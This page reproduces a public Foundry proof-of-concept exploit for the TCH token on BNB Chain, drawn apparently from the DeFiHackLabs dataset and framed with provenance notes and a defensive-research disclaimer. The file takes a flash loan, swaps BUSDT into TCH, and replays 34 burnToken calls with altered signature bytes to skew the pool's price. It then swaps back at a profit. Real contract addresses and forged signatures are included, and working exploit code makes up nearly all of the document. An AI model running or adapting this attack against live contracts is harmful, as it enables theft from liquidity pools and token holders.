Public reproduction file

src/test/2024-05/TCH_exp.sol

Public reproduction file for dataset entry TCH.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-05/TCH_exp.sol276 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$18K
8// Attacker : https://bscscan.com/address/0xb9596d6e53d81981b9f06ca2ca6d3e422232d575
9// Attack Contract : https://bscscan.com/address/0x258850ec735f6532fe34fe24ef9628992a9b7e84
10// Vulnerable Contract : https://bscscan.com/address/0x5d78cfc8732fd328015c9b73699de9556ef06e8e
11// Attack Tx : https://bscscan.com/tx/0xa94338d8aa312ed4b97b2a4dcb27f632b1ade6f3abec667e3bf9f002a75dabe0
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x5d78cfc8732fd328015c9b73699de9556ef06e8e#code
15 
16// @Analysis
17// Post-mortem :
18// Twitter Guy : https://x.com/DecurityHQ/status/1791180322882629713
19// Hacking God :
20 
21interface ITCH is IERC20 {
22    function burnToken(uint256 amount, uint256 nonce, bytes memory signature) external;
23}
24 
25contract ContractTest is Test {
26    // Struct representing params for burnToken() flawed function
27    // tamperedSig -> Signature with last byte replaced from '0x1c' (28) to '0x01' (1) or '0x1b' (27) to '0x00' (0)
28    struct BurnInfo {
29        uint256 amount;
30        uint256 nonce;
31        bytes tamperedSig;
32    }
33 
34    Uni_Pair_V3 private constant BUSDT_USDC = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);
35    Uni_Router_V2 private constant PancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
36    ITCH private constant TCH = ITCH(0x5d78CFc8732fd328015C9B73699dE9556EF06E8E);
37    IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
38    address private constant busdt_tch = 0xb7F1FFf722e68A6Fc44980f5D48d6d3Dbc1fe9cF;
39 
40    uint256 private constant flashAmount = 2_500_000e18;
41    uint256 private constant blocknumToForkFrom = 38_776_239;
42 
43    function setUp() public {
44        vm.createSelectFork("bsc", blocknumToForkFrom);
45        vm.label(address(BUSDT_USDC), "BUSDT_USDC");
46        vm.label(address(PancakeRouter), "PancakeRouter");
47        vm.label(address(TCH), "TCH");
48        vm.label(address(BUSDT), "BUSDT");
49    }
50 
51    function testExploit() public {
52        deal(address(BUSDT), address(this), 0);
53        emit log_named_decimal_uint(
54            "Exploiter BUSDT balance before attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()
55        );
56 
57        BUSDT_USDC.flash(address(this), flashAmount, 0, bytes(""));
58 
59        emit log_named_decimal_uint(
60            "Exploiter BUSDT balance after attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()
61        );
62    }
63 
64    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
65        BUSDT.approve(address(PancakeRouter), type(uint256).max);
66        TCH.approve(address(PancakeRouter), type(uint256).max);
67        uint256 transferAmount = BUSDT.balanceOf(address(this)) - 101e18;
68        BUSDT.transfer(busdt_tch, transferAmount);
69        BUSDTToTCH();
70        // Manipulating price in pair by burning TCH tokens
71        burnTCH();
72        BUSDT.transfer(busdt_tch, BUSDT.balanceOf(address(this)));
73        TCH.transfer(busdt_tch, TCH.balanceOf(address(this)));
74        TCHToBUSDT();
75        BUSDT.transfer(address(BUSDT_USDC), flashAmount + fee0);
76    }
77 
78    function BUSDTToTCH() private {
79        address[] memory path = new address[](2);
80        path[0] = address(BUSDT);
81        path[1] = address(TCH);
82 
83        PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(0, 0, path, address(this), block.timestamp);
84    }
85 
86    function TCHToBUSDT() private {
87        address[] memory path = new address[](2);
88        path[0] = address(TCH);
89        path[1] = address(BUSDT);
90 
91        PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(0, 0, path, address(this), block.timestamp);
92    }
93 
94    function burnTCH() private {
95        // Amounts, nonces and signatures obtained from regular txs to TCH token contract (burnToken() calls)
96        // Example txs:
97        // https://app.blocksec.com/explorer/tx/bsc/0x1b2d836049713075b8e46076331332d0bfe8ecfa5dfa94f1c5b0b70700e68d53
98        // https://app.blocksec.com/explorer/tx/bsc/0x09cd1ee1ea50480b64176d36cf5565b00a7fb81dcaa3d2c89c3a9fdb601fbd0b
99        BurnInfo[] memory burnInfos = new BurnInfo[](34);
100        burnInfos[0] = BurnInfo({
101            amount: 1_715_767_262,
102            nonce: 150,
103            tamperedSig: hex"0efd44ce4fa2b7389c7564381508142c56f7d530e7432f3334079782a624f85e5caf8c20f1d306bc40aaf7dddd58e6748aff3c7677df3771674d57ab44e0dc3001"
104        });
105        burnInfos[1] = BurnInfo({
106            amount: 1_715_702_462,
107            nonce: 141,
108            tamperedSig: hex"46cd2b22bedb9e54d3882d85dc85f3281df0cec898d9728829ea6203c152e41c7a9a0b86bc08bd596493fde9e4d6e762360f4fe39b009140e7c4c0d9b8910b7800"
109        });
110        burnInfos[2] = BurnInfo({
111            amount: 1_715_666_333,
112            nonce: 134,
113            tamperedSig: hex"839dc8cd66305dcf5a4871fa1df471bb2d615937afc1ed485d74d5366543f6b2768868e1fad2d64994e37f59b9db5bd0a030e0d584e15135b0685d0afcf11ab601"
114        });
115        burnInfos[3] = BurnInfo({
116            amount: 1_715_666_345,
117            nonce: 135,
118            tamperedSig: hex"2fde155a1bef6ec335cba439ba9d223f5002e367a0aa5462108250d822453a58503b5bad2010c75651cd30e4ab771708bfdc5433c1b85ff85165d48e8beabb8301"
119        });
120        burnInfos[4] = BurnInfo({
121            amount: 1_715_666_374,
122            nonce: 136,
123            tamperedSig: hex"5b0f6186968871298acae759874a344673868b4266d10c8c2255354c92cf443c4a5183c1ec4ac82b45b809d10290f61b0e67627d83e2d0f9d01df435bb79db3b01"
124        });
125        burnInfos[5] = BurnInfo({
126            amount: 1_715_673_661,
127            nonce: 137,
128            tamperedSig: hex"cbaf90d5a983d199fc8b04bb79a3ec9aa055f10b8173b67d28cfb7340b41f76711d115b172d148711538558cef0e51dd3fd131e1686ce5bc5c94534d6f39cf6300"
129        });
130        burnInfos[6] = BurnInfo({
131            amount: 1_715_688_062,
132            nonce: 139,
133            tamperedSig: hex"a6922c3aea1c2982280ce3fd7e319c9e3f6baca1bc038b807ce883deb16b264a38522cd2f389d4e2ce6c60fe039fadd9e54ab587765499af9d9a7a1a637c919600"
134        });
135        burnInfos[7] = BurnInfo({
136            amount: 1_715_752_861,
137            nonce: 148,
138            tamperedSig: hex"2c1d52a33d20a17f10b013661a5d78ebd98ff09aaf09cbc1e789d09688aecb8232e0447d7e6a62d77eea63346f8de3224c4d7f7d5f5ae6feb10c9d4ad94106a201"
139        });
140        burnInfos[8] = BurnInfo({
141            amount: 1_715_680_862,
142            nonce: 138,
143            tamperedSig: hex"469ca637ef50c13155153addedada41927094f0c7f36c3bd3d6552cdef59891f7e8120d019868089a528711bff19dcf4d54f83940bbd168b705383649e07a26a00"
144        });
145        burnInfos[9] = BurnInfo({
146            amount: 1_715_695_261,
147            nonce: 140,
148            tamperedSig: hex"a06a69e09da47842596352c8fa8172b72d841daced4acbeb877cc58e1b9956611fa64f51f681ca8285a09f451a9987e0adc1c7fb1a4155cce8bf76fc479462b700"
149        });
150        burnInfos[10] = BurnInfo({
151            amount: 1_715_709_662,
152            nonce: 142,
153            tamperedSig: hex"5b48ad16a782c08871b98e3d77df9c06cc9ac4f0dae9f7292840f8ff0367f8ad7d8bef5208ef8dcf2313b08a5da6e1b68ad64bb8db9f285f04e6fad74516d8b201"
154        });
155        burnInfos[11] = BurnInfo({
156            amount: 1_715_716_862,
157            nonce: 143,
158            tamperedSig: hex"5a18b410f1e206710d63405ce754a4a1e186b6e801bbdc34dc3b48d45983c4f43623915c8ea42bbb72f0126388e1efc3a4c08f4df1f69a33da14b0f3fc27b20200"
159        });
160        burnInfos[12] = BurnInfo({
161            amount: 1_715_731_261,
162            nonce: 145,
163            tamperedSig: hex"e54d849fb44a31a7f07c44315ee753812f04f886cf0e14649bec980b178c612866a99bd6c3b92e0438e7d642bbf4906e5d57092e7da257239d351cbe55c126bc01"
164        });
165        burnInfos[13] = BurnInfo({
166            amount: 1_715_781_661,
167            nonce: 152,
168            tamperedSig: hex"b277329b575b0b6e45f7d45d1a0bda7dd58130fdea4c4ce6ac215486f7ebef845e4fc127ee3ae32e3dc3080d62152533c42c0f807dea3d184f1d06bfd2a6192100"
169        });
170        burnInfos[14] = BurnInfo({
171            amount: 1_715_724_061,
172            nonce: 144,
173            tamperedSig: hex"4833fbc5f7bdd563451ffa7ab9446462eb7ad5ff80d77884d54e4c2f95687e423eaf3eb428ea63cab52e0aa07dbf3c41ff31cd96086a9a524e837a3126578ec500"
174        });
175        burnInfos[15] = BurnInfo({
176            amount: 1_715_663_438,
177            nonce: 133,
178            tamperedSig: hex"96cb16d7c315236b73e94679414eda1dd607e37e34ce49ec78f51e4ba046d28937d54a3fed689392a54707116bdcc505c0e0b0ad7dfeb96fd8a29450f10425d600"
179        });
180        burnInfos[16] = BurnInfo({
181            amount: 1_715_745_662,
182            nonce: 147,
183            tamperedSig: hex"261a8ddc13936314ebfe55386963939085b9988cb81e5a03ae26b90cc1c9095d29b5de7fe9f52e6f215c0ab3654d8dd8ab26591985d31ad36b1441c1e2d8867201"
184        });
185        burnInfos[17] = BurnInfo({
186            amount: 1_715_760_062,
187            nonce: 149,
188            tamperedSig: hex"e2fd9d0fe23d72b58dc630a90a41129d298afb4d8928b7ab16961221cf340b4266418a83a0bbb081012509cc32a1f11cc0134b1971f9cfb1ea1a03624b4d897301"
189        });
190        burnInfos[18] = BurnInfo({
191            amount: 1_715_824_862,
192            nonce: 158,
193            tamperedSig: hex"ad8f9d35d99bfc8c22451061bbd44229931460dd0a40f404695b7fcec00c084d23d172dedd17d224e9c1dcaa6b6cb16d66c4eb82151e388d89051dc4a9c42afc00"
194        });
195        burnInfos[19] = BurnInfo({
196            amount: 1_715_810_462,
197            nonce: 156,
198            tamperedSig: hex"a2b44b9507a37b560c7a7bdaaf2f2b669c1b4538bf673d69c515a191bcb0fcba033355a1a6b247d9f36d38b34d7d19885f19a17c2409506912eab6964797986f01"
199        });
200        burnInfos[20] = BurnInfo({
201            amount: 1_715_774_462,
202            nonce: 151,
203            tamperedSig: hex"2fe4c3b574c91ae745e499c489dbead5522f9a6d151d6ae290ebc34ce36558bb026a00b32dcbf59f2727da49602255cadc5a86087fb5043d31825954ddd60c4000"
204        });
205        burnInfos[21] = BurnInfo({
206            amount: 1_715_853_662,
207            nonce: 162,
208            tamperedSig: hex"25c251e946bee3254851064269313c7f834905957299908f9a291d156641dde475fc41770455be71f7cbd765f8fe17f95d6820e916a7800b9c7d1da1f5e76e9d01"
209        });
210        burnInfos[22] = BurnInfo({
211            amount: 1_715_846_461,
212            nonce: 161,
213            tamperedSig: hex"fbe3b8afc1137874bcad881c56b1565b8872e28d89d286c96973b0b175e0b98e6e9921f02a5023b5b140de40745bbcbd238fb9c20f7e3c4579eb2bb05604bdb701"
214        });
215        burnInfos[23] = BurnInfo({
216            amount: 1_715_738_462,
217            nonce: 146,
218            tamperedSig: hex"94cba00c30d200c0e38efafd7bc255a3e53cde44ffe853a3dd79ee5f6dc69d705e553623bd4153e97219c33da85da64533db3c762b302c13200211063e109fe901"
219        });
220        burnInfos[24] = BurnInfo({
221            amount: 1_715_796_062,
222            nonce: 154,
223            tamperedSig: hex"83ab7e79c020b0fd2ec60d93cf5de4afb0662f856cd0c97300ec7d237318f3ee0fd26cfc937133c05e4acd8fbe4cca8c76a586f5f048b322627f929ba0c2344801"
224        });
225        burnInfos[25] = BurnInfo({
226            amount: 1_715_788_862,
227            nonce: 153,
228            tamperedSig: hex"4404d56191c14fbf5cb1ed7a5fd97c8e66f428427d73c5dcea26fd753139877332a4e31ba4a9a3ec87f709ac0c572f62a912a3f05cfd93866c57f34ef0a4f0d900"
229        });
230        burnInfos[26] = BurnInfo({
231            amount: 1_715_817_661,
232            nonce: 157,
233            tamperedSig: hex"6333e4f4f15ebdc68645682c14257f8a0016365a5c8a0a330cffab67f78ce5865493ddbbcbeeeb2d5404a7d788666d207963f9954e37a9f5bb53e0adc21cde3a00"
234        });
235        burnInfos[27] = BurnInfo({
236            amount: 1_715_854_942,
237            nonce: 163,
238            tamperedSig: hex"21af77c9eeaddfbe4b4a764c3d17c4110d443fd2cc32f5b09231b87e284c81940f2a3e32877c4de728f34290760ea7b075712e06b9640a437153a4447cc420b401"
239        });
240        burnInfos[28] = BurnInfo({
241            amount: 1_715_855_021,
242            nonce: 164,
243            tamperedSig: hex"884595f25a0a7abe681730e9cb3c8a4f118e00e723c24947d9189a8965305bdf268c1ae697a2511ef7972210090f2290df99ae7034bd3f6684eca3f0d285742b00"
244        });
245        burnInfos[29] = BurnInfo({
246            amount: 1_715_855_044,
247            nonce: 165,
248            tamperedSig: hex"71a0c08b9d140fe42a594f44143db503d85220ae042f4c9a498f2388679cc71670e1d2457c2d88f1a8c7792ad922b8fa29145b85baab5501035f9f811967eb3301"
249        });
250        burnInfos[30] = BurnInfo({
251            amount: 1_715_855_198,
252            nonce: 166,
253            tamperedSig: hex"cc1dd746893e43723efd75891a6333a485d9d4717a8d8b0c945675770c3567295c21cd69ec1188a5ef5276b4e910a5fba2de7d6f9f38339cfffcc6f27d46861c01"
254        });
255        burnInfos[31] = BurnInfo({
256            amount: 1_715_839_261,
257            nonce: 160,
258            tamperedSig: hex"b6f60a1331ebf0756ce103c5a8cc9392ca7f0b589446ff7e617aab85e5bbeaca3bf66b944a95dd599eec03e3e362d7b571bad1206443b4e5b69ee29609966b0e01"
259        });
260        burnInfos[32] = BurnInfo({
261            amount: 1_715_832_061,
262            nonce: 159,
263            tamperedSig: hex"ed3aedd4a78ce67d7e50192cf4956df09a9b0df07ca65ef126a7c6397d959f372f57ec524d91b7fe86cb7a37545dcfdb56e5e2246b424531ae457a77dc2a46b201"
264        });
265        burnInfos[33] = BurnInfo({
266            amount: 1_715_803_262,
267            nonce: 155,
268            tamperedSig: hex"530b6c435d5555438c37a5c7c3cd55681709ecb778aa73cb800cbb53f8b6eae53eacd1030fd26398bb994a76ab35cd915ce6f1c0032fe66f6a31713fb396088701"
269        });
270 
271        for (uint256 i; i < burnInfos.length; ++i) {
272            BurnInfo memory burnInfo = burnInfos[i];
273            TCH.burnToken(burnInfo.amount, burnInfo.nonce, burnInfo.tamperedSig);
274        }
275    }
276}

Analysis

Dataset entry

Public Foundry test for “TCH” (2024-05-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-05/Burner_exp.solSame month in the dataset · 63 lines
src/test/2024-05/EXcommunity_exp.solSame month in the dataset · 139 lines
src/test/2024-05/GFOX_exp.solSame month in the dataset · 69 lines
src/test/2024-05/GPU_exp.solSame month in the dataset · 74 lines
src/test/2024-05/Liquiditytokens_exp.solSame month in the dataset · 194 lines
src/test/2024-05/MetaDragon_exp.solSame month in the dataset · 49 lines
src/test/2024-05/MixedSwapRouter_exp.solSame month in the dataset · 188 lines
src/test/2024-05/NORMIE_exp.solSame month in the dataset · 138 lines
src/test/2024-05/OSN_exp.solSame month in the dataset · 187 lines
src/test/2024-05/PredyFinance_exp.solSame month in the dataset · 181 lines
src/test/2024-05/RedKeysCoin_exp.solSame month in the dataset · 76 lines
src/test/2024-05/SATURN_exp.solSame month in the dataset · 133 lines
src/test/2024-05/SCROLL_exp.solSame month in the dataset · 68 lines
src/test/2024-05/Sonne_exp.solSame month in the dataset · 185 lines
src/test/2024-05/TGC_exp.solSame month in the dataset · 74 lines
src/test/2024-05/Tradeonorion_exp.solSame month in the dataset · 346 lines
src/test/2024-05/TSURU_exp.solSame month in the dataset · 97 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xb9596d6e53d81981b9f06ca2ca6d3e422232d575
Attack Contract
0x258850ec735f6532fe34fe24ef9628992a9b7e84
Vulnerable Contract
0x5d78cfc8732fd328015c9b73699de9556ef06e8e

Attack Tx
0xa94338d8aa312ed4b97b2a4dcb27f632b1ade6f3abec667e3bf9f002a75dabe0

File record

Name: TCH
Path: src/test/2024-05/TCH_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 772cc198de872a5746b9a4a4e32ad7d0cb1988c0
Language: Solidity
Size: 277 lines
Date: 2024-05-16
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-05/TCH_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 772cc198de872a5746b9a4a4e32ad7d0cb1988c0, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.